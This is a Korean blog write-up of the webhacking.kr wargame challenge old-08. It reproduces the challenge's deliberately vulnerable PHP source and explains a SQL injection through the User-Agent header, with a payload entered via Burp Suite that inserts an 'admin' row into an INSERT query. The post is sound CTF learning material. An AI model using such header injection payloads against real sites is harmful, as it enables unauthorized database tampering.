Search

WebHacking.kr Challenge old-08

목표 : HTTP User Agent, SQLi
바로 소스부터 보자
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 8</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } </style> </head> <body> <br><br> <center> <?php $agent=trim(getenv("HTTP_USER_AGENT")); $ip=$_SERVER['REMOTE_ADDR']; if(preg_match("/from/i",$agent)){ echo("<br>Access Denied!<br><br>"); echo(htmlspecialchars($agent)); exit(); } $db = dbconnect(); $count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8")); if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); } $result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'"); $ck = mysqli_fetch_array($result); if($ck){ echo "hi <b>".htmlentities($ck[0])."</b><p>"; if($ck[0]=="admin"){ mysqli_query($db,"delete from chall8"); solve(8); } } if(!$ck){ $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error"); echo("<br><br>done! ({$count_ck[0]}/70)"); } ?> <a href=./?view_source=1>view-source</a> </body> </html>
PHP
복사
solve부터 확인하면 $ck[0] 에 “admin”값이 들어가야된다.
http 프로토콜에 대한 이해가 필요한 몇 코드가 보인다.
$agent=trim(getenv("HTTP_USER_AGENT")); $ip=$_SERVER['REMOTE_ADDR']; if(preg_match("/from/i",$agent)){ echo("<br>Access Denied!<br><br>"); echo(htmlspecialchars($agent)); exit(); }
PHP
복사
$agenthttp user agent 값을 받아오고 앞 뒤 공백을 제거 trim 해서 저장
$_SERVER['REMOTE_ADDR'] 는 현재 페이지를 보고 있는 사용자의 IP → 다시 사용되지 않는다.
만약 $agentfrom 으로 공백을 포함한 from 형태로 DB를 부르는 명령어가 있을 경우 deny
User Agent 관련 설명 (클릭)
$db = dbconnect(); $count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8")); if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); } $result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'"); $ck = mysqli_fetch_array($result);
PHP
복사
db를 불러오고 count_ck[0] 에는 chall8 dbid 열 내 데이터 수가 들어간다.
id 개수가 70개가 넘으면 DB에서 삭제한다.
ck, result 에는 현재 접속한 사용자의 HTTP USER AGENT와 같은 agent 값을 가지는 id를 출력한다.
if($ck){ echo "hi <b>".htmlentities($ck[0])."</b><p>"; if($ck[0]=="admin"){ mysqli_query($db,"delete from chall8"); solve(8); } }
PHP
복사
id 값이 “admin”이면 문제는 풀린다.
if(!$ck){ $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error"); echo("<br><br>done! ({$count_ck[0]}/70)"); }
PHP
복사
만약 현재 접속 사용자의 Agent값과 같은 Agent를 가지는 내용이 DB에 없었다면 처음에 수집한 agentip, id 값을 넣는다.
즉 다음이 핵심 쿼리문이다.
insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')
USER-AGENT 값은 Burp Suite 툴을 이용해 손 쉽게 조작이 가능하다.
$agent 값을 조정해 SQL injection으로 id 값에 ‘admin’을 넣으면 된다.
$agent 값에
aaa’,’1.1.1.1’,’admin’),values(’bbb
를 입력하면
values(’aaa’,’1.1.1.1’,’admin’),values(’bbb’,’{$ip}’,’guest)
가 된다.
Burp Suite를 통해 User-Agent 값을 바꿔주자
에러가 났다..음 문법이 틀렸나
들어갔다! 이제 User-Agent 값을 aaa로 설정하고 다시 들어가보자

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.